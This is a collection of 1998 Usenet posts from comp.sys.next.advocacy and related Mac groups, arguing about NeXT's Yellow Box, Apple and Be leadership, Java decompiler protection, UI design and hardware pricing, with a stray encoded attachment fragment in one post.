References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <35abb26e.0@news.depaul.edu> <35ABB916.F3460C01@ericsson.com> <6oiq1p$5js$1@news.spacelab.net> <35ACF1FF.60CCFA4E@ericsson.com> <6oj92v$6d9$1@news.spacelab.net> <35AD3750.2209A2A6@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Charles W. Swiger wrote:
>> If Scott has more accurate information than Norr, why can't he disagree
>> with Norr?
>
>Noone said that disagreement was the problem, now, did they? This is the
>problem:
>
>> Geez, why do you people listen to Henry Norr?
>
>Please, comment!
What is there to comment on?
What Scott was saying is perfectly clear-- that Henry Norr is not to be taken
as gospel on issues related to the Yellowbox. One might even get the
impression that Norr's conclusions were mistaken, at least if you believe
that Scott has better information about the Yellowbox than Norr does.
> I'd be thrilled to hear what you have to say on behalf
> of such commentary. It looks so familiar, when I think of you.
Yeah? I gather you're either very easily amused, or you need to discover
more interesting hobbies.
>>> I know that, and I think it's great.
>>
>> If you knew that, why did you call Stepwise an advocacy website?
>
> Huh? It is an advocacy Website.
What is the primary purpose of Stepwise? Is it:
a) to provide information about NEXTSTEP, OPENSTEP, Rhapsody, et al
b) to advocate NEXTSTEP, OPENSTEP, Rhapsody, et al
...?
[ ... ]
>> I have no responsibility for your remarks or your relationship to the NeXT
>> newsgroups. Try taking a little responsibility for your own words, hmm?
>
>That was a good way to avoid the issue.
I take responsibility for my own remarks, not yours or anyone else's.
What part of this don't you understand?
> Suit yourself.
I shall.
>> And no, it isn't our first discussion. Like I said previously, you would
>> have done much better to simply ask for help with your NeXT machine rather
>> than adding all of the snide commentary and complaints.
>
>You have ever seemed to be confused about this. Let me explain something
>to you: when I am asking for help, you'll know it. And I have asked for
>help before and received it. Just never from you.
As far as Dejanews archives reveal, you have never once posted an article to
any of the comp.sys.next groups with the exception of csn.advocacy (excluding
.advocacy threads crossposted to other csn groups).
>When I am posting opinion, I am not asking for help, not yours, not
>anyone else's. When I posted criticism of the NeXT machine and the NeXT
>interface, they were not invitations to you for commentary on how
>"incompetent" you supposed I was, but you gladly provided it.
Correct.
Your criticisms in that thread were almost totally due to your inability to
perform basic BSD 4.x system administration, and had almost nothing to due
with the merits or demerits of NeXT hardware or the NEXTSTEP user interface.
Of course, that was after claiming that OpenStep was seriously flawed because
you managed to crash Backspace by having a key on the keyboard stuck down.
Since Backspace was a demo app (with source code available so you could have
fixed the bug yourself), and was not based on the OpenStep API's, your
criticisms there were totally unfounded.
If you didn't care for being corrected when you made egregious mistakes, next
time try getting your facts right before complaining.
>> Even with your editorial remarks, you were given pretty of helpful advice,
^^
>
>What?
Remove "of". "...given pretty helpful advice,"
[ ... ]
> Why should I argue Scott's behavior with you?
Beats me. All I know is that you're doing so, and you'll have to figure out
your reasons for yourself.
> You apparently applaud it, and mimic it...
I generally approve of Scott's behavior, yeah-- not that my approval or
disapproval is particularly relevant to the grand scheme of things.
>This is the right newsgroup for you, Chuck. Be well.
That's right.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 16 Jul 1998 02:36:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ojoum$tvm$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178>
In article <B1D27F61-1F256@206.165.43.178>,
"Lawson English" <english@primenet.com> wrote:
> tomlinson <etomlins@rohan.sdsu.edu> said:
>
> >This is I think the second time I have seen Gassee criticised as
> >chiefly responsible for Apple's more idiotic decisions. Lacking
> >any knowledge of Gassee's tenure at the company, I can't judge the
> >statement. What's the story? What did he do?
> >
> >My interest in JLG is more than academic of course, because Gassee
> >after all now heads up Be, in whom I've invested a certain amount of
> >loyalty and time. If Gassee fucked up before I'd like to know how,
> >just in case he does it again :)
>
> I've heard that he was the one that convinced Jobs NOT to license the Mac
> to tothers.
This is true -AFAIK.
>
> OTOH, his license plate used to read OPENMAC and he was the NuBus slot
> advocate, I believe.
I think OpenMac may just refer to the MacII line which he was heavily involved
with.
Look at Be and how far (not) they have gotten in the past few years. You may
also wish to notice that Gasse's first instinct with Be was to base it on a
largely proprietary hardware platform and only when sales tanked did they
decide to port to PowerMac and then Intel. Be either needs to get some major
backers quick or go opensource with the whole thing. (IMHO)
-Stephen
---------------------------------------------------------------------------
Looking for Mac Stuff? Find it at: It's just not meant to "Be" :(
http://members.tripod.com/~xgray/index.html -Xgray's Mac Internet Finder
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not Able to Do QuickTime Very Well?
Date: 15 Jul 1998 07:16:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D20799-1FF35@206.165.43.190>
References: <slrn6qo3ji.217.jason@jhste1.dyn.ml.org>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Jason S. <jason@jhste1.dyn.ml.org> said:
>
>I doubt it. Linux kernels have something like a 10 ms timeslice, which
>is adequate for 100 fps video, I'd think. Mach has finer granularity,
>IIRC.
But professional video production involves all sorts of things besides
playback of Internet movies.
As I said before, if someone can furnish the name of any professional-level
video production software that is running on an OS with the Mach X.x
kernel, feel free to mention it and prove my assertion wrong. I'm only
repeating what someone else told me, so kill the FUD, not the messenger...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Code Security - a benefit of Yellow Box (was Re: Yellow Box future?)
Date: 15 Jul 1998 07:05:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6oicud$91a@nntp02.primenet.com>
References: <35AA8501.CF6AAF27@nospam.com> <6odtla$gjd$1@news.digifix.com> <35ABC6AF.E076A460@nospam.com> <35ABC213.50ED7EFB@alum.mit.edu> <6ogj9c$cf1@nntp02.primenet.com> <35AC0107.29F81818@alum.mit.edu>
Eric,
I think I might disagree with your conclusions a bit, but you did go to
some work to document the measures/countermeasures involved in Java
decompilers. Thank you.
Eric Hermanson <eric@alum.mit.edu> wrote:
: I can't say that I'm an expert in the area of object-code encryption,
: but, unless the entire encryption/decryption process takes place in
: hardware, it is possible for the user to intercept and decrypt the code.
This might be moving the bar a bit. I'd think that it would be sufficient
for Java to be about as secure as traditional compiled code. It might
even be a goal for it to be difficult but not impossible. I know a few
people in the "code recovery" business for Y2K. They are out there
decompiling 20 year old Cobal code in order to fix the Y2K stuff. In that
situation at least, an irreversable transform from source to binary would
be bad.
: I would guess some other problems with Java code encryption are that it
: would slow-down already slow Java code, and it would require a great
: deal of cooperation among vendors to decide on the encryption and
: decryption methods.
All the obfuscation methods I know of are applied post-compile and before
distribution. They might take a few minutes in the packaging phase of
your project, but would not impact the end user. I believe the current
methods center on converting your byte stream to something that is
"correct" (and will run on all existing JVMs) but which is jumbled enough
to disrupt the transform back to source code.
: One might also want to use code obfuscators to protect intellectual
: property [...]
Oops, I jumped the gun. Here are the obfuscators. You seem to think they
are insufficient. The last time I tried them they worked for me. As with
any measure/countermeasure situation, it is probably a good idea to check
now and then to see what people have come up with.
Final comments:
- Not all code needs to be hidden. Each developer can probably
determine if his project is a "target" for decompilation or if he cares.
- As you mention, one may put the "public" portion of a project in Java
and hide the really secret stuff on a server or in a native library.
- I think the decompiler demos overstate their power. It's one thing to
decompile a 50 line demo, it's another to correctly decompile a 700 class
project (such as the one I work on).
If I find some time I'll feed our big project into the decompilers and see
what happens. (Between you and me, some of the legacy Java code is so
nasty I have trouble understanding it with full source ;-).
If you have further questions, you might include comp.lang.java.advocacy
in the distribution. Just to be fair.
John
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 14:08:58 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6oid5q$d7j$2@sun27.hrz.tu-darmstadt.de>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6ofu0o$q2h@nntp02.primenet.com> <6og44u$bpf$1@leonie.object-factory.com> <6ogjvs$cti@nntp02.primenet.com> <6ohsev$37k$1@leonie.object-factory.com> <6oi099$67j$1@sun27.hrz.tu-darmstadt.de> <6oi5rc$37k$2@leonie.object-factory.com> <6oi9n8$5b8@nntp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
>Holger Hoffstaette <holger@object-factory.REMOVETHIS.com> wrote:
>
>: Yeah, but the bank wasn't our biz. A certain government office seems to
>: like us, though. ;-)
>
>Are you playing the Open/Yellow shell game? Others in this thread have
>repeated that _Yellow_ is not available. The Mac OSes have not reached
>customer releases and the Windows runtimes have not been released for
>licensing.
Yellow is still in beta, but its predecessor (called OPENSTEP Enterprise
the last time I looked) has been available for quite some time. And of
course there's WebObjects and PDO for a variety of platforms. The stuff
is very portable, going from OS/E to MacOS X Server was a recompile for
my current project.
So although Rhapsody NT/95 - no idea what they will call it once it's
released, they probably won't dubb it 'MacOS Server for Windows' - is
not in customer release status yet, you can already develop with it
and deploy (using the OS/E version of the runtimes for deployment).
Yes, this is confusing, even to developers. The constant changing of
names doesn't make it any better, but at least NeXtStEP developers
are used to constantly changing the capitalization :-)
Best regards,
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
Date: Wed, 15 Jul 1998 20:29:54 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <stevehix-1507982029540001@ip65.safemail.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <stevehix-1407982116340001@ip39.safemail.com> <lpreuss-ya02408000R1507981047220001@news.provide.net>
Organization: Close to None
In article <lpreuss-ya02408000R1507981047220001@news.provide.net>,
lpreuss@provide.net (Larry Preuss) wrote:
> In article <stevehix-1407982116340001@ip39.safemail.com>,
> stevehix@safemail.com (Steve Hix) wrote:
>
> ">"In article <6ogco6$8ma$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
> ">"(tomlinson) wrote:
> ">"
> ">"> x.psn.net>
> ">">
> ">"> Michael M. Eilers (not@a.valid.email.add) wrote:
> ">">
> ">"> : the idea of spending one dime more upgrading it. Computers cost money,
> ">"> : dammit! Anyone who has ever bought a computer and expected to never buy
> ">"> : one again is just plain ignorant in the extreme--as stupid as buying
> a car
> ">"> : and thinking the only expenses will be gas, oil, and air filters,
and it
> ">"> : will last forever.
> ">">
> ">"> This is an extremely poor analogy, one that does not do your cause
> ">"> credit. Keeping and maintaining a car for any length of time may
> ">"> cost money, but not the sort of money needed to get rid of the
> ">"> car every two years and buy a brand-new replacement. (At least,
> ">"> no sane person would do that...right?)
> ">"
> ">"Waht was the average period of ownership for new cars again?
>
> Between 8 and 9 years.
For the first owner? (I average 11 yrs so far. No wonder they
have so little resale value...so they've 250K+ miles on the
clock. :} )
Something under 5 years comes to mind, but then I don't spend
much time worrying about cars.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 16 Jul 1998 03:07:41 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6ojqpt$u6p$1@samsara0.mindspring.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt
Kennel, NOSPAMmbkennelNOSPAM@yahoo.com writes:
>I am an average investor. How on earth can I use my "responsibility" instead
>of the SEC to force companies to accurately report their finances?
Simple. Exchanges set the rules instead of the SEC. Therefore, if a
company wants to be traded on a reputable exchange, they will comply with
exchange rules. You are welcome to purchase from a reputable exchange or
to use one with a poor reputation to purchase speculative stocks.
The greatest upside to this is that it would greatly empower the
individual entrepreneur to seek capital for a small enterprise, while now
it is necessary to turn his business over to venture capitalists. If
there were an exchange for speculative startups, these entrepreneurs
could get money from the broader public instead of having to give up
control to angels and vc's.
>
>
>People get fleeced frequently already now. It would be massively worse
>without an SEC.
Don't you think you ought to support this statement? Or is simply saying
it enough to make you believe it?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
Date: 15 Jul 1998 20:49:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D2C61F-A8DEA@206.165.43.119>
References: <6ojoum$tvm$1@nnrp1.dejanews.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
xmac@my-dejanews.com said:
>Look at Be and how far (not) they have gotten in the past few years. You
may
>also wish to notice that Gasse's first instinct with Be was to base it on
a
>largely proprietary hardware platform and only when sales tanked did they
>decide to port to PowerMac and then Intel. Be either needs to get some
>major
>backers quick or go opensource with the whole thing. (IMHO)
OTOH, my understanding is that BeOS is really no older than the PPC, so it
isn't more than 4 years old, total. Any hints that it was more mature were
a marketing tactic to sell to Apple.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 16 Jul 1998 03:51:03 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ojtb7$otj$1@lwnws01.ne.highway1.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oiha2$rkm$1@lwnws01.ne.highway1.com> <35AD4CA1.E5D02242@cloud9.net>
Andrew Weiss <ajwdsp@cloud9.net> wrote:
> John, I used to read your web pages and articles, and I thought they
> were great...Pardon me for asking, but WHAT EXACTLY DO YOU LIKE? Just
> NeXT's UI? You seem to insult everything from Win 3.1-->, MacOS, OS/2,
> UNIX/X...and I think even NeXT's own UI.
I guess this is the narcisist in me (actually, I believe it's the part of me
that is always trying to find out exactly why I'm so f'n stupid and improve),
but what made you stop reading my usenet post (I'm guessing these are the
articles you refer to)? Please be honest, I really appreciate it when people
actually are nice enough to point out my faults and I can learn from it.
Anyway, I think you got it right. There are major faults with all of them.
They all suck. What I like about the NeXTUI is that it was a rather and
relative substantial change in many ways. It made me stop, think, and
relearn things in a very positive way. Kinda like Improv did for
spreadsheets, and smalltalk, java, Eiffel, and Objective C made my brain hurt
and than free when shifting from the procedural to the OOP model.
I guess what burns my bridges is that I don't see anyone trying to move
forward at all. And most people defend this stagnation irks at me too. Even
if people try stuff and it sucks, I'd appreciate the effort. Hopefully if
they are open enough to try and advance things, they'll also be open to great
criticism and feedback in changing the messups. NeXT did this a bunch from
0.8->1.0->2.0->3.0-4.0a. Apple hasn't done this in any substantial way in
quite some time.
But to answer your questions, they all suck terribly in many ways. Again, I
don't think that's a bad thing. It just happens to be where we are today.
The bad thing is not realizing that we're in a stinkn pile of poo, and not
trying to move away and forward from this bad spot.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 16 Jul 1998 03:56:59 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ojtmb$otj$2@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu>
rmcassid@uci.edu (Robert Cassidy) wrote:
> They just need to get unit shipments and revenues up. Some concern with
> iMac still being impacted through October, though. Don't look for a price
> drop on iMac _this_ year, I think.
Which is a real shame, b/c if they released the imac for 999, it would make
all the difference in the world. It would just tear new aholes in the
market. At 1300bux, it really is not all that competitive to the wintel
market, unfortunatly. Still very cute and cool. I might even get one; when
it goes down to 999 that is. (woowhoo :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Chad Prukha" <autolist@swbell.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 15 Jul 98 23:02:22 -0500
Organization: Southwestern Bell Internet Services, Richardson, TX
Message-ID: <B1D2E580-9B208@209.184.8.14>
References: <stevehix-1507982029540001@ip65.safemail.com>
Mime-Version: 1.0
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nntp://news.swbell.net/comp.sys.mac.advocacy,
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<SMALLER>Since this is my industry, I should inform you that the
average auto ownership before trade up is... ahem... 3.5 years. (This
average is tainted by short-term leases.) But I know for a fact that
many people finance the damned vehicles for 6 years and bring them
back to the dealer for trade after about a year or so. Usually, they
expect payoff on their loan for the trade-in.
Yep... can you say negative equity folks? Can you say fickle,
materialistic culture?
</SMALLER><BOLD><COLOR><PARAM>D47A,570A,1999</PARAM><SMALLER>||||||||||=
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rF8o+7GF8uICI7Qcln3E7/nIq6z8KfFegaje3/wu8UQ6DBqEwluNIu4g1qjkHfJHlXCk
4T5QnrhgAqihpvw4n8Ltc3WuSDU9U1Fi9xfM7OHJAyASAQePQdBjHQJyUFzM6MNR9vVU
L2OU8MxaJ4dsYvFXhvTWvptCkg1fU765eFrrybhJFltzGGQq/kTJKhGYiUZfvIQ30vXj
Gl/DHxSukXnhi0vtP03whq12bi42h2vYomXEkMSsDGquVUg8bNzkKeBXs9Cd1cynHkk4
9gooopkH/9k=
--Cyberdog-MixedBoundary-0009B172
X-Fontfamily: Geneva
X-Fontsize: 10
Content-Type: text/enriched; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
<BOLD><COLOR><PARAM>D47A,570A,1999</PARAM><SMALLER>
Otto:</SMALLER></COLOR></BOLD><X-FONTSIZE><PARAM>12</PARAM>
</X-FONTSIZE><BOLD><SMALLER><SMALLER><X-FONTSIZE><PARAM>9</PARAM>"Oh
No! It's k-k-k-k-Ken c-c-c-c-coming t-t-to k-k-k-kill
me"</X-FONTSIZE></SMALLER></SMALLER></BOLD><X-FONTSIZE><PARAM>12</PARAM=
>
</X-FONTSIZE><BOLD><COLOR><PARAM>D47A,570A,1999</PARAM><SMALLER>Ken:</S=
MALLER></COLOR></BOLD><X-FONTSIZE><PARAM>12</PARAM>
</X-FONTSIZE><BOLD><SMALLER><SMALLER><X-FONTSIZE><PARAM>9</PARAM>"R--r-=
-r--r--r--REVENGE!"</X-FONTSIZE></SMALLER></SMALLER></BOLD><X-FONTSIZE>=
<PARAM>12</PARAM>
</X-FONTSIZE><BOLD><ITALIC><SMALLER>'A Fish Called
Wanda'</SMALLER></ITALIC></BOLD><X-FONTSIZE><PARAM>12</PARAM>
</X-FONTSIZE><SMALLER>>>>Make certain to change the ".com" in my
e-mail address to ".net" before sending
me a message or replying to my message. This is my way of avoiding
junk e-mail.<<<<<<
</SMALLER><BOLD><COLOR><PARAM>D47A,570A,1999</PARAM><SMALLER>||||||||||=
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||=
|||||||</SMALLER></COLOR></BOLD>
--Cyberdog-MixedBoundary-0009B172--
From: rossber@slip.net (Ross Bernheim)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: Wed, 15 Jul 1998 20:20:04 -0800
Organization: Slip.Net (http://www.slip.net)
Message-ID: <1dc81k6.tpc4xgqdgox8N@oak-hiper1-147-211.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <1dc5a0z.gy73ut1b1nfl4N@ip206.albnxr2.ras.tele.dk>
Mime-Version: 1.0
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Per Erik Rønne <xerxes@diku.dk> wrote:
> In general, the newest computers aren't supported by
> MkLinux, the old NuBus based are.
Linux being a volunteer effort, it takes them some time to do the work
to support new machines after they are released. This is one of the few
drawbacks to Linux. However, there has been support for the pci bus
machines for a few months, and there is a version that supports the G3
machines available on-line. The final release of this newest version on
CD is supposed to happen soon.
--
Ross Bernheim
rossber@slip.net
From: rossber@slip.net (Ross Bernheim)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 15 Jul 1998 20:20:10 -0800
Organization: Slip.Net (http://www.slip.net)
Message-ID: <1dc81y6.p1h0jxxe4ucbN@oak-hiper1-147-211.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com> <35aaf4dc.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> Those numbers might work if Apple could outsource it. But that
> raises two issues. One, could they find experienced staff outside
> of Apple.
There are plenty of qualified and experienced ex-Apple temporary
employees as well as ex-full time employees out there.
--
Ross Bernheim
rossber@slip.net
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-1507982259050001@term3-11.vta.west.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oiha2$rkm$1@lwnws01.ne.highway1.com> <35AD4CA1.E5D02242@cloud9.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Thu, 16 Jul 1998 05:59:48 GMT
NNTP-Posting-Date: Wed, 15 Jul 1998 22:59:48 PDT
In article <35AD4CA1.E5D02242@cloud9.net>, Andrew Weiss
<ajwdsp@cloud9.net> wrote:
> John, I used to read your web pages and articles, and I thought they
> were great...Pardon me for asking, but WHAT EXACTLY DO YOU LIKE? Just
> NeXT's UI? You seem to insult everything from Win 3.1-->, MacOS, OS/2,
> UNIX/X...and I think even NeXT's own UI.
I take a similar stance to that, although somewhat opposite. I think of it
this way: most people are on one extreme side, loving one UI and hating
the rest. You can imagine this as two sides, though it's actually many
more. Two is just conveniant for conceptualization. Now there are two
other point in this square, both right in between the two extremes: one of
these median point is that of hating all UIs because they all suck (which
they all do, in certain areas). This seems to be the position John takes
(I'm using only Andrew's post as refernce, I don't know John). The other
median point is mine, seeing the good points of all UIs and liking them
all in varying degrees based on how many good features they include. At
the top of this list are the Mac and NeXT UIs, which I see as equal
although for different reasons (NeXT is more consistant and advanced in
it's concepts, while the Mac has nicer widgets and knick-knacks and
overall aesthetics). Windows in it's various incarnations has a feature or
two I'd like to see in a hybrid UI, and I haven't seen enough of X, OS/2,
or Amiga to judge them any more than I don't like the "look", but I have
no idea about the feel. So, yeah. Whatever.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: stgeorge@amug.org (Steve George)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: 16 Jul 1998 06:31:12 GMT
Organization: amug.org
Message-ID: <stgeorge-1507982328580001@d9-ts07.amug.org>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144> <35aad934.0@news.depaul.edu> <cdoutyEw4E3x.6rM@netcom.com>
In article <cdoutyEw4E3x.6rM@netcom.com>, cdouty@netcom.com (Chris Douty) wrote:
> Now there is a new standard called Ultra2 which uses low-voltage
> differential (LVD) to give 80MBps speeds out to 15 meters at nearly the
> same parts cost as single-ended. I haven't played with this yet, so I
> don't know where the sweet-spot is in terms of number of devices.
>
> -Chris
I mistakenly wrote 15 meters too in a post, and then found it said 12
meters in the APS descr I have on it, and (up to) 15 *devices* per bus.
Sounds purty good, tho'.. At least if it were only pathed separately
from a fast video board, etc, dang!..(?) ;]
Dual PCI's (3 slots ea)..?
Steve G
From: Christian Benesch
Newsgroups: comp.sys.next.advocacy
Subject: Re: next.advocacy says:YB is dead -- YB says: next.advocacy is dead!
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: spammers@ruin.the.internet.channelu.com
References: <35ac4e75.0@news.telekabel.at> <6oim56$hm4$2@msunews.cl.msu.edu>
Message-ID: <35ad1bd2.0@news.telekabel.at>
Date: 15 Jul 1998 23:14:58 +0100
In <6oim56$hm4$2@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> In <35ac4e75.0@news.telekabel.at> Christian Benesch wrote:
<SNIP - my own ranting>
>Well to my mind advocacy is where people post arguments for being an
>advocate and where people shoot those down. It is a debate place.
>Frankly if you think that Apple dropping PC support isn't a big deal
>then fine. Live in your rosey world and buy your G3 or G4. But
>if you havn't listened there are a number of long time NeXT
>developers/VARs
*sigh*. Sadly,fiddling for 3 years with the various academic bundles doesn't
place me in that category.
>who are now probably the majority of YB developers/VARs that are
>concerned about Apple's 'blowing with the wind' and 'covering all
>bases w/o covering any' attitude.
I can see,that this could concern, but in most part those compromises had to
be made to assure that commercial foothold,I was talking about.
(Carbon,to name it, is not such a bad idea if you view it in perspective.
That is, as a transition technology).
